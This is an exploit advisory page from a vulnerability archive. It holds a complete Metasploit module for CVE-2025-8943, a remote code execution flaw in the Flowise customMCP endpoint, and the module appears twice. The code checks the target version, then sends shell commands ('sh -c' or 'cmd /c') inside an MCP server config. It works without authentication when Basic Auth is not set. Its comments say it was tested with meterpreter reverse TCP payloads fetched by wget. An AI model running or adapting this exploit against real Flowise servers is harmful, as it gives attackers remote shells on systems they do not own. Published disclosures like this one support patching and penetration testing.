9.8
/ 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Description
This Metasploit module exploits a remote code execution vulnerability in Flowise versions greater than or equal to 2.2.7-patch.1 and less than 3.0.1. The vulnerability exists in the customMCP endpoint /api/v1/node-load-method/customMCP located in...
Basic Information
ID
PACKETSTORM:211931
Published
Nov 24, 2025 at 00:00
Affected Product
Affected Versions
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Flowise
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Flowise Custom MCP Remote Code Execution',
'Description' => %q{
This module exploits a remote code execution vulnerability in Flowise versions >= 2.2.7-patch.1
and < 3.0.1. The vulnerability exists in the customMCP endpoint (/api/v1/node-load-method/customMCP)
located in packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts and packages/components/nodes/tools/MCP/core.ts,
which allows users to execute arbitrary commands via StdioClientTransport by using the 'x-request-from: internal' header.
When FLOWISE_USERNAME and FLOWISE_PASSWORD are not configured, the exploit works unauthenticated. If Basic Auth is
enabled, the FLOWISE_USERNAME and FLOWISE_PASSWORD options must be set to provide credentials.
},
'Author' => [
'Assaf Levkovich', # Vulnerability discovery (JFrog)
'Valentin Lobstein <chocapikk[at]leakix.net>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-8943'],
['URL', 'https://research.jfrog.com/vulnerabilities/flowise-os-command-remote-code-execution-jfsa-2025-001380578/']
],
'Platform' => %w[unix linux win],
'Arch' => [ARCH_CMD],
'Targets' => [
[
'Unix/Linux Command',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD,
'DefaultOptions' => {
'FETCH_COMMAND' => 'WGET'
}
# tested with cmd/linux/http/x64/meterpreter_reverse_tcp
}
],
[
'Windows Command',
{
'Platform' => 'win',
'Arch' => ARCH_CMD
# tested with cmd/windows/http/x64/meterpreter_reverse_tcp
}
]
],
'Privileged' => false,
'DisclosureDate' => '2025-08-14',
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 3000
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('FLOWISE_USERNAME', [false, 'Flowise username for Basic Auth (required if env var is set)', '']),
OptString.new('FLOWISE_PASSWORD', [false, 'Flowise password for Basic Auth (required if env var is set)', ''])
])
end
def check
version = flowise_get_version
return CheckCode::Unknown('Could not retrieve Flowise version') unless version
print_status("Flowise version detected: #{version}")
# Vulnerability introduced in 2.2.7-patch.1 (March 14, 2025) and fixed in 3.0.1 (May 29, 2025)
# Note: Rex::Version parses "2.2.7-patch.1" as "2.2.7.pre.patch.1", so we check >= 2.2.7
if (version >= Rex::Version.new('2.2.7') || version.to_s.include?('2.2.7')) && version < Rex::Version.new('3.0.1')
return CheckCode::Appears('(affected: >= 2.2.7-patch.1 and < 3.0.1)')
end
CheckCode::Safe("Version #{version} is not vulnerable")
end
def execute_command(cmd, _opts = {})
command = 'sh'
args = ['-c', cmd]
if target.platform.names.include?('Windows')
command = 'cmd'
args = ['/c', cmd]
end
payload_data = {
'inputs' => {
'mcpServerConfig' => {
'command' => command,
'args' => args
}
},
'loadMethod' => 'listActions'
}
opts = {
username: datastore['FLOWISE_USERNAME'],
password: datastore['FLOWISE_PASSWORD']
}
flowise_send_custommcp_request(payload_data, opts)
end
def exploit
fail_with(Failure::PayloadFailed, 'Failed to run payload') unless execute_command(payload.encoded)
end
end
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Flowise
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Flowise Custom MCP Remote Code Execution',
'Description' => %q{
This module exploits a remote code execution vulnerability in Flowise versions >= 2.2.7-patch.1
and < 3.0.1. The vulnerability exists in the customMCP endpoint (/api/v1/node-load-method/customMCP)
located in packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts and packages/components/nodes/tools/MCP/core.ts,
which allows users to execute arbitrary commands via StdioClientTransport by using the 'x-request-from: internal' header.
When FLOWISE_USERNAME and FLOWISE_PASSWORD are not configured, the exploit works unauthenticated. If Basic Auth is
enabled, the FLOWISE_USERNAME and FLOWISE_PASSWORD options must be set to provide credentials.
},
'Author' => [
'Assaf Levkovich', # Vulnerability discovery (JFrog)
'Valentin Lobstein <chocapikk[at]leakix.net>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-8943'],
['URL', 'https://research.jfrog.com/vulnerabilities/flowise-os-command-remote-code-execution-jfsa-2025-001380578/']
],
'Platform' => %w[unix linux win],
'Arch' => [ARCH_CMD],
'Targets' => [
[
'Unix/Linux Command',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD,
'DefaultOptions' => {
'FETCH_COMMAND' => 'WGET'
}
# tested with cmd/linux/http/x64/meterpreter_reverse_tcp
}
],
[
'Windows Command',
{
'Platform' => 'win',
'Arch' => ARCH_CMD
# tested with cmd/windows/http/x64/meterpreter_reverse_tcp
}
]
],
'Privileged' => false,
'DisclosureDate' => '2025-08-14',
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 3000
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('FLOWISE_USERNAME', [false, 'Flowise username for Basic Auth (required if env var is set)', '']),
OptString.new('FLOWISE_PASSWORD', [false, 'Flowise password for Basic Auth (required if env var is set)', ''])
])
end
def check
version = flowise_get_version
return CheckCode::Unknown('Could not retrieve Flowise version') unless version
print_status("Flowise version detected: #{version}")
# Vulnerability introduced in 2.2.7-patch.1 (March 14, 2025) and fixed in 3.0.1 (May 29, 2025)
# Note: Rex::Version parses "2.2.7-patch.1" as "2.2.7.pre.patch.1", so we check >= 2.2.7
if (version >= Rex::Version.new('2.2.7') || version.to_s.include?('2.2.7')) && version < Rex::Version.new('3.0.1')
return CheckCode::Appears('(affected: >= 2.2.7-patch.1 and < 3.0.1)')
end
CheckCode::Safe("Version #{version} is not vulnerable")
end
def execute_command(cmd, _opts = {})
command = 'sh'
args = ['-c', cmd]
if target.platform.names.include?('Windows')
command = 'cmd'
args = ['/c', cmd]
end
payload_data = {
'inputs' => {
'mcpServerConfig' => {
'command' => command,
'args' => args
}
},
'loadMethod' => 'listActions'
}
opts = {
username: datastore['FLOWISE_USERNAME'],
password: datastore['FLOWISE_PASSWORD']
}
flowise_send_custommcp_request(payload_data, opts)
end
def exploit
fail_with(Failure::PayloadFailed, 'Failed to run payload') unless execute_command(payload.encoded)
end
end